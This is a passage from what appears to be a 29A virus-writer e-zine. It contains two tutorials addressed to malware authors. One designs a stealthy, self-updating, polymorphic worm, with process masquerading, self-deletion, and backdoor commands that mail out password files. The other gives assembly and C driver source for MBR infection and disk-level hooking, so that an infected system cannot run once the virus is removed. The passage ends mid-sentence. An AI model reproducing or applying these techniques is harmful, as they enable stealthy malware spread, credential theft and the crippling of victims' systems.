yeah, also Zalewski knew that, and knew that long time before us. he wanted to
code some worm, REALLY dangerous one (and as he said, he did it). but hey,
dangerous does not mean destructive. dangerous means worm with dangerous spread
abilities. his worm was based on following 7 rulez:
A) portability: the worm must be independent on target the target
platform and must be able to work on various operating
systemz, not only on unix like systemz, but also dos/win.

B) invisibility: the worm must have implemented many anti-* and masking
featurez for hidding itself in target system and be able
to stay undetected as long time as possible.

C) independency: the worm must be able to spread by itself, without need


of any interaction on the user side, using database of
exploits.

D) learning abilities: the worm should be able to learn new exploit techniques
on the fly. by release of one updated worm all other
worm should be able to download newest version by special
communication channel (let's call it "wormnet").

E) integrity: every worm and whole structure of wormnet should be hard


to detect and modify/destroy.

F) polymorphism: the worm should be totally polymorphic, with no constant


part of code.

G) application: the worm should be able to work by program - e.g. infect


system, download instructionz, send some filez and when
the mission is done, escape from the machine.

Now we will discuss step by step every point. So,

A) portability will be probably big problem. it will be good to code such worm
in some HLL language - C will be the best solution, becoz it is supported on
almost every OS. you will need to use standard run-time libraries as much as
possibly. yeah, sometimez you will need to use some system-specific call, mainly
at pointz B) and F). but we code viruses/wormz for fun, not for making army
weapons, so I'm sure almost noone will bother with this point :)

B) what can be harder to code than some silly anti-* routines, you may think.
however, this is not so easy to code and not so unimportant as you think. sure,
you have to implement many anti-* featurez known from virus coding, thats clear.
but thats not all... imagine your worm is executed on some server and its
running for seven dayz and reguraly takes CPU's time, for seven dayz. when
administrator will open task manager, he will see that some strange process is
running for seven dayz - and that loox suspicious for sure. my advice is:

change process ID number and process name and mask the time the worm is running.
under Win95/98 it is very easy - you can use RegisterServiceProcess API that
can make the process invisible. under WinNT/2k the situation is harder - theres
no such API and its not possible to make the application invisible in the
system - hmm, only by hooking psapi.dll callz (EnumProcesses API, etc), but
this is a bit harder to code. i know one better method: copy worm file to
somewhere under another name (such as winlogon.exe, services.exe, crcss.exe -
if you will use the name of already running SERVICE, taskmanager won't be able
to terminate it!), execute it and terminate itself. by this way you will create
whole new process. it's very easy and efficent!

you might want to register your worm as a service application under WinNT/2k.
in this case just take a look at OpenSCManagerA and CreateServiceA APIz stored
in ADVAPI32.dll.

for such worm, it is very important to stay undetected as long time as possible.
it's better to delete the worm rather than get detected - I recommend you, if
your worm will "think" that he is detected (resident AV program detected,
debugger detected, task manager is opened etc..), immediatelly worm should
delete itself. how? under Win95 you can delete even already opened filez by
simple calling of DeleteFile(A/W) API. Under Win98/NT/2k its not possible. You
can call MoveFileEx API that allows you to delete already opened program after
next start of OS. But this call is not implemented under Win95/98 :( So, you
have to use smarter way... the possible way is to write to registry
HKLM\Software\Microsoft\Windows\\CurrentVersion\RunOnce %comspec% /C del
<path_to_worm\worm_file_name.exe> and reboot OS. This line should delete worm
in next start of OS.

C) this is very important stuff. if the user is at least a bit smart, he won't
open such message as "open attachment blah.exe, there is one very useful util".
it is also stupid way how to spread the worm. but how to spread the worm without
user interaction? do you know what is remote exploit? remote exploit is a
program that uses known bugz of the system/program to execute some code on
remote machine. I'm sure ya have already heard about it. Outlook Express
exploits are very well known - for instance, the <DATE> buffer overflow bug - if
the DATE item in mail message contains more than standard count of characterz,
the code placed after DATE item will be executed without any notification to
user. stupid, eh? but it worx. in Windowz there are thousandz and thousandz bug,
just open your inet browser and visit www.securityfocus.com - there is bugtraq,
conferension about security bugz - there you can find many informations about
known bugz and, that's also important, full working expoits.

the idea is to create updatable database of exploits that would be used for
machine attacks. not too easy, but also not too hard to code.

D) how will the worm be able to learn? hmm, the "learn" word is not correct.
in this case, "learn" = "be able to update itself to newer version". the worm
should, in the start of execution check, if there is any newer version of worm
on internet and if there is any, download it and update itself, which means
run the downloaded worm and delete itself.

E) but how will we update the worm? where will be the newer version placed?
what will be that communication channel? how to hide it? here comes some ideaz:

1) HTTP/FTP: the easiest method. you, as the author will place the updated
versions of wormz to some public internet site and from there
will wormz be able to download new versions. advantages: easy to
code (use WININET.DLL library), easy to update, easy to debug.
everything is easy in this case. disadvantages: easy to detect,
easy to clean (AVerz/police can contact provider to destroy that
site or they can simply add there some fake worm (e.g. cure)
and all wormz will clean themself). this method is not very good.

2) IRC/E-MAIL: similar to 2) point. worm will on the start connect to IRC/EMAIL


server. you, as the author can send new version to worm by DCC
(on IRC) or to some public e-mail address. advantages: easy to
code, same as above. you can use well documented IRC/SMTP/POP3
protocols or MAPI. disadvantages: same as above. AVerz/police
can contact ISP to destroy email address / ban your access on
IRC, so the worm won't be able to update itself. or they easilly
can send some fake file by DCC/SMTP...

3) your own protocol: yep, code yer own communication protocol, with cypher
support (I recommend public key cyphering). How? I have
some ideaz in my head, but I won't explain them here,
that's yer work :) But believe me, it's not so hard to
code as it loox for the first time.

F) to make detection of yer worm harder, use polymorphism. Don't forget that
such poly engine should encode morph .code and .data sectionz aswell. My idea
is to construct poly worm this way:

- worm structure must be normalized - .code section should be reserved for


decryptor, in .data section should be both of code and data
- no section for relocationz
- polymorphic engine will know all important values, such as size of sectionz
and start of sectionz.
- copy worm file to temporary file
- morph temporary file, store generated decryptor to .code section, encoded
code and data to .data section
- send that temporary somewhere (e.g. yer teacher :) and delete it

so, detection based on MZ header and .idata patternz is weak :)

G) imho it is silly to design wormz as one-purpose thingz - one worm for


stealing passwordz, one for file transfering, etc... ask yourself why do you
want to code such worm - just for spreading purposes, for spying or for
anything else? You can code one worm, that will be able to do everything. My
idea is:

- code it as backdoor: once the computer become infected, the worm will enable
you to access it. You will be able to send commandz (such as dir,
sendme c:\windows\admin.pwl, delete c:\*.log, etc...) and the worm will be able
to realise them.

- code it as soldier: the worm will know instructionz and will be based on them.
i know to wayz how to do that:
a) as a parameter you will pass the URL of some script file. worm will
download it and work on it. the script file may look like:

send "c:\windows\admin.pwl" myworm@hotmail.com


del c:\windows\*.log
quit

b) as a parameter you will pass the URL of some executable file. worm
will download it and execute it. that file will do the rest.

by using these featurez your worm can work as tool for hacking, as tool for file
transfering, as whatever you want. but don't forget to guarant that the worm
will accept only YOUR commands, or some childish lamer can abuse your worm.

this was a brief description of featurez which should the gewd worm have. ofcoz
you don't need to use such featurez as portability, it's only up to you :-)

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ The "Project XTC" ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

when I finished reading the mentioned article, I decided to start to work on


my new worm. I wanted the worm could work on similar rulez (described above).
so I started to work on the XTC project... I worked really hardly and now,
XTC is finished. it does not use all featurez I talked here about. I wanted it
to be as small as possible and as useful as possible. I hope it is. for me,
it's wonderful tool for hacking. but that's another story...
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Final words?! ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

I believe the golden age of superb wormz will come. wormz before the 2000 year
are toys. let's show the world that the toys are not the only one sorta
programz we can code... the golden age will come soon...

if you would like to discuss with me this theme, feel free to mail me.
that's all folks!

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
# Benny / 29A ÀÄÄÄÄÄÄÄÄÄÄÄ¿
@ benny_29a@privacyx.com ³
@ http://benny29a.cjb.net ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÉÄÄÍ[ How to make infected system to depend on the virus ]ÍÄÄ»
º ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ º
ÈÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍÍ[ by Prizzy/29A ]ÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍͼ

This article is intended for vx authors who want to equip their viruses
the method whereby the infected computer will be dependent on the virus.
In this case If an antivirus cleaned all infected files, the computer
would be inaccessible. And as we can assume no antivirus won't disinfect
files by special method.

Index
ÄÄÄÄÄ
1. The methods of the system's subjection
2. Files Encryption
2.1. Substandard File Access
3. Disk Encryption
3.1. Big Three in Action
3.2. DOS Driver
3.3. Win95/98/ME Driver
3.3.1. Loading the driver
3.3.2. What's inside?
3.3.3. How to load DOS driver
3.3.4. Dynamic Loading
3.4. WinNT/2k Driver
3.4.1. How to compile the driver
3.4.2. Driver Source
3.4.3. Disk Operations
3.4.4. How to load DOS & VXD driver
3.4.5. Driver loading
3.5. Debugging Drivers
4. Conclusion

1. The methods of the system's subjection


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
To this day I know only two excelent ways how to reach it. They are based
on the real-time encryption of the disk or of the files. Both methods need
in order that the virus will be active to decode the encrypted data.

2. Files Encryption
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
It doesn't give to the virus full control under the computer. Even this
method is somehow limited. Every, for example, opening request from system
goes through the virus and it will do:
þ encrypt, let's say, of the first 2kb of the file
þ on every reading request the virus will decrypt those 2kb of the file
þ on the close request the viruss will encrypt back those 2kb
This method is realized in Win32.Crypto virus.

2.1. Substandard file access


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
In Win32 exist two ways how to access to the files, by default through API
functions or through drivers (VXD in Win9x and SYS in WinNT/2k). The best
way is choose one between them. Imagine in Win9x two programs can open the
file both in ring0 and in ring3; and even if you coded VXD driver for
ring0 section you wouldn't hook all file accesses, I tested it. Almost one
year ago I occur to exploit ring3's LoadLibrary API function and encrypt
only DLL files (because ring0 has own VMM function for DLL loading).
þ hook LoadLibrary/FreeLibrary API functions in KERNEL32.DLL
þ with every FreeLibrary API request encrypt the library
þ on LoadLibrary API request decrypt the library

This method has some code disadvantages:


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
þ In fact, KERNEL32.DLL file is only library and so it demands other
infection than EXE files. Your virus also must supports special
algorithm for KERNEL32 infection, you can't infect this file when it
is opened and when Windows is running you can't write to this file
(to know more read one tutorial by LordJulus in VxTaxy e-zine).
þ You can't encrypt all DLL files because you must wait than your virus
will be active (till then when KERNEL32.DLL won't be loaded). The
files cannot be ancrypted are: USER32.DLL, ADVAPI32.DLL, PSTOREC.DLL
and many more about 15 static names and the libraries rather from:
HKLM\System\CurrentControlSet\Control\SessionManager\KnownDLLs
HKLM\System\CurrentControlSet\Control\SessionManager\Known16DLLs
þ If the user is disinfect himself all files, let's say all DLLs files,
after clearing he will be able to get to the OS but not to Windows. He
mus re-install all Windows applications, MS-Office, Corel, Acad...

3. Disk Encryption
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
It generally means a virus can gradually encrypt some parts of the disk,
usually it isn't good encrypt whole disk's data but just only some
sections (for example every tenth cluster etc). Thereby we reach of that,
the user won't recognize any slowing down of his system. I'd say this way
is programly more difficult than files encryption (mainly virus testing).
This method can be realize by drivers (for full Win32 system) or with the
virus without any drivers (only for WinNT and Win2000 system).

3.1. Big Three in Action


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
To monitor all users' operations, at best, there must exist three drivers.
The DOS driver, VXD driver and SYS driver.
þ If it is Win95/98 virus it must carry DOS driver because the user do-
esn't need load Windows he can stay in pure DOS.
þ The virus for WinNT/2000 and WinME don't need have DOS driver.
The very interesting situation comes if the user has multi OS, let's say
Win9x and WinNT (more datails below).

How to check whether it's WinME or WinNT?


The best way is analyze \BOOT.INI file and get Windows' directories, then
compare dir structure and decide if it's WinME or WinNT/2k.

3.2. DOS Driver


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
I say that again DOS driver must be especially for Win95/98. The best way
how to load this driver is from Master Boot Record therewith that driver's
body will be store on the zero track. The best is it isn't easy to write
something to the MBR from Win9x and WinNT/2k OS, to this theme see in
chapters devoted below to these OS.

How to write driver behind MBR:


þ read Partition Table to the own buffer
þ check if the driver isn't there yet
þ find free space in the zero track (because of EZ-DRIVE etc)

; get disk's information


mov ah,8
int 13h
and cx,3Fh ;sectors per track
push cx
mov cx,2
read:mov ax,201h ;read one sector
mov bx,offset buffer
mov dx,80h ;1st drive
int 13h
cmp word ptr es:[bx+3],'BA' ;active mark
jz found ;== the driver is loaded
sub ax,ax
push cx
mov cx,256 ;search if this sector is
mov di,bx ;free for our dr.'s body
rep scasw
test cx,cx ;is free?
pop cx
jz found
next_s:inc cx ;go on next sector
pop dx
push dx
cmp cx,dx ;end of the track?
jnz read
pop cx ;yes, set the middle of
shr cx,1 ;the track
found:mov cs:[dest_sector],cl ;our future sectror number

þ write the driver on the zero track, on the found place


þ copy new partition code to the current one, this new code must load
our driver to the memory and then run its.

; new partition code


jmp short $+4 ;go over signature
db "AB" ;means the driver is here
cli ;set the stack frame
xor ax,ax
mov ss,ax
mov sp,7C00h
sti
cld ;load the driver to the
mov ax,200h ;memory
org $-2
db driver_size/512+1, 2
mov cx,0 ;the sector where the driver
dest_sector equ $-2 ;is stored
mov dx,80h ;1st drive
push 5000h ;new memory location
pop es
xor bx,bx ;zero offset
int 13h
seges ;run on the driver, set
db 0EA ;IP=100h and CS-10h
dw 100h+__driver_start
dw 5000h-10h

þ driver 'll immediately restore the old partition code from the buffer,
the destination offset is 0:7C00.
þ hook 0x13 service and then go back

3.3. Win95/98 Driver


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
To hook requests by this OS you must code a VXD driver. Now in this chap-
ter I will show you it won't any problem for you, vxer. At the beginning
you should have some programmers needs:
þ visit "http://win32asm.cjb.net" and download Iczelion's VXD tutorials;
here you'll find information about VXD LE driver structure, its load-
ing, calling VMM functions etc. I expect your knowledge of this tut.
þ also without Microsoft Device Development Kit for Win98 "DDK98" it
won't go, visit:"http://www.microsoft.com/hwdev/ddk/install98ddk.htm?"
and download it. Here you will find all about VXD driver all VMM func-
tion descriptions and tips.

3.3.1. Loading of the driver


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
There are two types of VXD under Win9x:
þ Static VXD
þ Dynamic VXD
The first one are loaded during system bootup and stay loaded until the
system shutdown. Dynamic VXD can be loaded/unloaded when needed.

The best way how to load static VXD is copy its to the SYSTEM\IOSUBSYS di-
rectory and after next restart Windows will automatically upload registers
itself.

If you want to load VXD immediately you must call following code:

push 0 ;no template file


push FILE_FLAG_DELETE_ON_CLOSE
push 0 0 0 0
push offset VxDName ;the name of the driver
call CreateFileA
cmp eax,-1
jz error
mov hVxD,eax ;handle of the driver
push 0 0 0 0 0 NULL 1
push hVxD
call DeviceIoControl ;active VXD driver
...

VxDName db "\\.\driver.vxd",0
hVxD dd ?

3.3.2. What's inside?


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Our final VXD driver couldn't be too complex, we will hook only one VMM
service, no special calling we shouldn't use.

.386p
include vmm.inc
include vwin32.inc

DECLARE_VIRTUAL_DEVICE DRIVER,1,0, DRIVER_Control,\


UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Begin_control_dispatch DRIVER
Control_Dispatch Device_Init, OnDeviceIoControl
End_control_dispatch DRIVER

; start of the driver

VxD_Locked_Code_Seg ;LE segment


BeginProc OnDeviceIoControl ;here VXD is starting...
mov eax,100004h ;IOS_SendCommand
mov esi,offset SC_Hook ;address of the hooked function
VMMCall Hook_Device_Service ;hook that service
mov [sc_orig_func],esi ;original hooked address

xor eax,eax ;no error


ret

EndProc OnDeviceIoControl

That's all for now. Just we hooked one VMM function: IOS_SendCommand, in
SC_Hook function we will catch all system access through ring0.

BeginProc SC_Hook
; this service has the same params like IOS_SendCommand func.
; esi ... IOR structure \ more in DDK 98
; edi ... DCB structure /

pusha
cmp byte ptr [sc_already_inside],0 ;re-call ?
jnz sc_exit
mov byte ptr [sc_already_inside],1

mov [sc_ior_address],esi ;save IOR structure address

; in AL will be a drive letter from where the request comes


mov al,byte ptr [esi].IOR_vol_designtr
cmp al,2
jb sc_finish ;A,B drives ?
mov [sc_drive_letter],al ;save it, bcos of multi-disks

; get the called reason: reading, writting, verifying...


mov ax,word ptr [esi].IOR_func
...

; get started address in sectors


mov eax,[esi].IOR_start_addr
...
checking if this value is in the encrypted area

; get output buffer


mov eax,[esi].IOR_buffer_ptr
test [esi].IOR_Flags,IORF_SCATTER_GATHER
; if this flag is set the output address is given like SGD
jz sc_physical
mov eax,[eax+4] ;get real output address
sc_physical:
mov [sc_output_buf],eax

; own algorithm
...
...

There're two ways of rerturning to the host either returning status code
or by callbacks. I remember when I was coding VXD driver I had some
problems with callbacks so I will do the best you wouldn't stay in dark.

; go to the original function


jmp [sc_orig_func] ;call IOS_SendCommand

OR
; set the callback
mov esi,[sc_ior_address] ;get IOR structure address
mov eax,[esi].IOR_callback ;get old callback address
mov [esi].IOR_callback,offset sc_callback
mov [sc_old_callback],eax
popa
jmp [sc_orig_funct] ;call IOS_SendCommand

sc_callback:
pusha
...
popa
cmp [sc_old_callback],0 ;is there any old cback. ?
jz sc_wn_exit_ret
jmp [sc_old_callback] ;yeah, jump there
sc_wn_exit_ret:
ret ;no callback

3.3.3. How to load DOS driver


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Again we have two solutions how to write a code on the zero track.
þ using 0x13 service: it's the easiest way but I'd never used it because
many eyes can watch you, even i know one case when calling 0x13 was
disabled.
þ using your VXD driver: just you will a instigation to the driver and
it will write instead you: if the driver is initialized, it will check
partition code and accordingly it act on itself.
The main problem is we cant load the driver the same methods like in Win9x
because WinNT/2k don't support 0x13 service. So if the virus is both for
Win9x and for WinNT/2k, is better when the DOS driver will be loaded
rather from WinNT/2k because from Win9x isn't easy to load WinNT/2k driver
than from WinNT/2k to load VXD driver. I'd recommend for this situation to
spread virus itself on Win9x/ME platform and it don't load any drivers
here as long as the user won't run an infected file from WinNT/2k.

3.4. WinNT/2k driver


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This'll be the very interesting chapter because I don't have any books to
help me, no tutorials I have, it goes from my own experience. Anyway you
will have to download Microsoft Device Development Kit for Win2000/ME from
the MS web site (it has something about 65Mb).

3.4.1. How to compile the driver


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
After installing DDK2k/Me you will get some their tools and subsequently
you can adjust your MS Visual C++ setting to code it from this pleasure
environment, or the 2nd side is go to DOS and create these files:

SOURCES. ;create this file

TARGETNAME=DRIVER ;the name of the driver


TARGETPATH=c:\my_work\virus ;driver's directory
TARGETTYPE=DRIVER ;type
LINKER_FLAGS=-MAP ;some parameters for linking

INCLUDES=C:\NT\INC ;where you have INC files, re-


;commend use VC++ INC directory
SOURCES=driver.c ;the name of the driver's file

To compile the driver write:


BUILD.EXE -w -b

3.4.2. Driver Source


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
All comments to the driver will be dip into the source.

#include <ntddk.h>
#include "driver.h"

// The name of the driver which we will hook, in SoftICE you can
// write "DEVICE" or "DRIVER" to look at those. Mark "%d" means the
// number of physical disk device (0 = C: drive)
#define DiskDeviceName "\\Device\\HardDisk%d"

#ifdef ALLOC_PRAGMA
#pragma alloc_text(INIT,DriverEntry)
#endif

// After initialization WinNT/2k call as the first this function.


NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,
PUNICODE_STRING RegistryPath)
{

// devExt is the shared structure for all driver's parts


PDEVICE_EXTENSION devExt;
// new hooked device object
PDEVICE_OBJECT hookDevice;
UNICODE_STRING unicodeDiskName;
ANSI_STRING DiskNameA;
NTSTATUS status;
UCHAR DiskName[200];
ULONG i;

// For now we don't have selected any callbacks


for (i=0; i<=IRP_MJ_MAXIMUM_FUNCTION; i++)
DriverObject->MajorFunction[i] = Dispatch;

// If the system send any read/write/... request we can set some


// routine which will catch this.
DriverObject->MajorFunction[IRP_MJ_READ] = Read;
DriverObject->MajorFunction[IRP_MJ_WRITE] = Write;

// Create new device object.


status = IoCreateDevice(DriverObject,
sizeof(DEVICE_EXTENSION),
0,
FILE_DEVICE_DISK,
0,
FALSE,
&hookDevice);

if (!NT_SUCCESS(status)) return STATUS_SUCCESS;

devExt = hookDevice->DeviceExtension;
devExt->DeviceObject=hookDevice;
devExt->DriverObject=DriverObject;

// Get unicode device name.


sprintf(DiskName, DiskDeviceName, 0);
RtlInitAnsiString(&DiskNameA, DiskName);
RtlAnsiStringToUnicodeString(&unicodeDiskName,&DiskNameA,TRUE);

// There are two typed of getting information: buffered or di-


// IO. Buffered IO are used for device which can wait, for exam-
// ple keyboards, mouses etc. Direct IO are for disk device,
// floppy device, CD-ROM and so on.
hookDevice->Flags |= DO_DIRECT_IO;
hookDevice->Flags &= ~DO_DEVICE_INITIALIZING;

// Hook the device.


status = IoAttachDevice(hookDevice, &unicodeDiskName,
&devExt->attachedDevice);

if (!NT_SUCCESS(status)) return STATUS_SUCCESS;

return STATUS_SUCCESS;

NTSTATUS Dispatch(PDEVICE_OBJECT DeviceObject,


PIRP Irp)
{

PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;

// We won't do any operations, set the next lower driver.


Irp->CurrentLocation++;
Irp->Tail.Overlay.CurrentStackLocation++;

return IoCallDriver(devExt->attachedDevice, Irp);

NTSTATUS Read(PDEVICE_OBJECT DeviceObject,


PIRP Irp)
{

PIO_STACK_LOCATION currentIrpStack;
PIO_STACK_LOCATION nextIrpStack;
PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
IO_STATUS_BLOCK IoStatus;

// Get the current input parameters.


currentIrpStack = IoGetCurrentIrpStackLocation(Irp);

// Get IRP parameters


// ... how many bytes the system wants to read
devExt->Length = currentIrpStack->Parameters.Read.Length:
devExt->howMany = devExt->Length / 512;
// ... where is starting offset of the request ?
devExt->Offset = currentIrpStack->
Parameters.Read.ByteOffset.LowPart:
// ... get the output buffer
devExt->buffer = MmGetSystemAddressForMdl(Irp->MdlAddress);

// Now check the range of encryption and find out if you must
// decode read request or not.
...

Now we have two ways go back, normal through return value or we can use
callback.

// Normal returning way (set next lower driver)


Irp->CurrentLocation++;
Irp->Tail.Overlay.CurrentStackLocation++;

return IoCallDriver(devExt->attachedDevice, Irp);

OR

// Set the callback


// Copy next current stack to the lower one.
currentIrpStack = IoGetCurrentIrpStackLocation(Irp);
nextIrpStack = IoGetNextIrpStackLocation(Irp);
*nextIrpStack = *currentIrpStack;

IoSetCompletionRoutine(Irp,
DiskReadCompletion,
DeviceObject,
TRUE,
TRUE,
TRUE);

What's inside callback?

NTSTATUS DiskReadNoCompletion(IN PDEVICE_OBJECT DeviceObject,


IN PIRP Irp,
IN PVOID Context)
{

PIO_STACK_LOCATION IrpSp;
PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;

// Get current Irp stack == input parameters


IrpSp = IoGetCurrentIrpStackLocation(Irp);

// If the operation was successful...


if (NT_SUCCESS(Irp->IoStatus.Status)) {

// Check Irp parameters (see above)


...

// Mark the Irp pending if required


if (Irp->PendingReturned) {
IoMarkIrpPending(Irp);
}

return STATUS_SUCCESS;

Also highly recommend to read DDK2k about the drivers.

3.4.3. Disk Operations


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
To call all disk operations like reading, writing, verifying you must you
these functions:
þ IoBuildSynchronousFsdRequest : can be used only during starting of the
driver because here we can wait for other thread yet.
NTSTATUS DiskLoadMBRSector(IN PDEVICE_OBJECT DeviceObject)
{

PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;


IO_STATUS_BLOCK IoStatus;
LARGE_INTEGER offset;
NTSTATUS status;
KEVENT event;
PIRP localIrp;

// Set BootSector's starting offset


offset.HighPart = offset.LowPart = 0;

// Initilize event for synchronous equest.


KeInitializeEvent(&event,
NotificationEvent,
FALSE);

// Build Irp request.


localIrp = IoBuildSynchronousFsdRequest(
IRP_MJ_READ,
devExt->attachedDevice,
(void*)devExt->MBRSector,
512,
&offset,
&event,
&IoStatus);

if (localIrp == NULL) return STATUS_UNSUCCESSFUL;

if (IoCallDriver(devExt->attachedDevice, localIrp)
== STATUS_PENDING)
KeWaitForSingleObject(&event,
Suspended,
KernelMode,
FALSE,
NULL);

return NT_SUCCESS(IoStatus.Status);

þ IoBuildAsynchronousFsdRequest: used only in Dispatch routines.

...
offset.HighPart = offset.LowPart = 0;

// Build asynchronous Irp request


localIrp = IoBuildAsynchronousFsdRequest(
IRP_MJ_READ,
devExt->attachedDevice,
(void*)devExt->MBRSector,
512,
&offset,
NULL);

if (!localIrp) return STATUS_UNSUCCESSFUL;

// Set completion routine to validate finishing request.


IoSetCompletionRoutine(
localIrp,
DiskLoadMBRSectorCompletion,
DeviceObject,
TRUE,
TRUE,
TRUE);

// Set an event.
KeInitializeEvent(&event,
NotificationEvent,
FALSE);

status = IoCallDriver(devExt->attachedDevice, localIrp);

// Set Irp stack frame to the next loweer one.


localIrp->CurrentLocation--;
localIrp->Tail.Overlay.CurrentStackLocation
= IoGetNextIrpStackLocation(localIrp);

// Now we will wait 100ms than IoCallDriver will return


// STATUS_PENDING value. If you get this value, device hasn't
// finished the request yet. This method is my own I haven't
// think up any new one. Also I spoke with some developers and
// they haven't used this yet.
offset.LowPart=100;
if (status == STATUS_PENDING)
KeWaitForSingleObject(&event,
Executive,
KernelMode,
FALSE,
&offset);

return localIrp->IoStatus.Status;

3.4.4. How to load DOS & VXD driver


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
At first I'd like to take to parts the DOS driver problem. There are
exist two ways how something write to the zero track.
þ To use standard device: works only when the user has admin rights

// Open the device representing the first hard disk. This


// call will fail if the user doesn't have sufficient rights
hPhysicalDrive = CreateFile("\\\\.\\PhysicalDrive0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
0, OPEN_EXISTING, 0, 0);

if (hPhysicalDrive != INVALID_HANDLE_VALUE)
{

MBR data;
DWORD dwBytesRead;

// Read sector 0 off of the drive...


ReadFile(hPhysicalDrive, &data, 512, &dwBytesRead, NULL);

...

// Close the driver


CloseHandle(hPhysicalDrive);

}
þ To use driver: you can dynamic load the driver (more below) and it'll
use IoBuildSynchronousFsdRequest to read/write it. This manner is bet-
ter because you can't know if the user is an administartor.

So, we successfuly loaded the DOS driver and now we must do the same for
VXD driver. This is easier but we must know if the user 's Win95/98 system
or not. We have two ways to find it out:
þ Compare typical Win9x directories, like:
C:\Windows, C:\Win95 or Win98 etc...
þ Create a thread which will search the disk step by step.

3.4.5. Driver loading


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
I am tired of the repetition "there're two ways how to..." all the time of
this tutorial but it's true.
þ Update registers:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VX
where VX is the name of your directory in regs; so, create these lines
there:

"ImageePath" ,REG_EXPAND_SZ,"Systeem32\DRIVERS\driver.sys"
"Description" ,REG_SZ ,"The virus NT/2k driver."
"DisplayName" ,REG_SZ ,"VX_SYS"
"ErrorControl",REG_DWORD ,1
"Start" ,REG_DWORD ,1 ;boot loading
"Type" ,REG_DWORD ,1 ;kernel driver

So, after rebooting your driver will be loaded itself.

þ Dynamic loading: This method automatically updates registers.

.386
.model flat,stdcall

includelib c:\...\advapi32.lib
extrn OpenSCManagerA:proc
extrn CreateServiceA:proc
extrn GetCurrentDirectoryA:proc
extrn lstrcat:proc
extrn CloseServiceHandle:proc
extrn StartServiceA:proc
extrn DeleteService:proc

.data

SC_MANAGER_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR 03FH


SERVICE_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR 1FFH
SERVICE_KERNEL_DRIVER EQU 001H
SERVICE_DEMAND_START EQU 003H
SERVICE_ERROR_NORMAL EQU 001H
SERVICE_CONTROL_STOP EQU 001H

DosDeviceName db "\\.\"
DriverName db "driver.sys",0
_ServiceExe db "\driver.sys",0

.data?
schSCManager dd ?
schService dd ?

path db 260 dup(?)


.code
start:

; get actual directory + the name of the driver


push 260 offset path
call GetCurrentDirectoryA
push offset path
push offset _ServiceExe
call lstrcat

; load the driver


xor esi,esi
push esi esi SC_MANAGER_ALL_ACCESS
call OpenSCManagerA
mov schSCManager,eax
xor eax,esi
jz __failed
push schSCManager
push offset DriverName offset DriverName
push SERVICE_ALL_ACCESS SERVICE_KERNEL_DRIVER \
SERVICE_DEMAND_START SERVICE_ERROR_NORMAL
push offset path
push esi esi esi esi esi
call CreateServiceA
mov [schService],eax
xor eax,esi
jz __close_SCM
push eax esi esi
call StartServiceA

...

push 0
call ExitProcess

end start

3.5. Debugging Drivers


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
For all vxers will be better use SoftICE, there is one my special advice
for you:
þ there, where you want to place a brekpoint, write:
"__asm int 4" (C++ mode) or "int 4" (ASM mode)
þ jump to SoftICE and write "bpint 4"
þ run dynamicaly the driver
þ SoftICE will stop the driver
þ replace "int 4" instruction, with: "a (enter) nop (enter) nop (enter)"
and if you want to SoftIce stop there in next time, write: "bpxeip"

Some rich vxers who have two computers can use the 2nd one like a
debugger, the exact instruction is in DDK 2k. You will need create only a
serial cabel (show us your electrotechnic knowledge!).

4. Conclusion
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
If I had possibility to write a virus sometimes in future, surely I would
choose this method like 100%-ly attack againt antiviruses. For some vxers
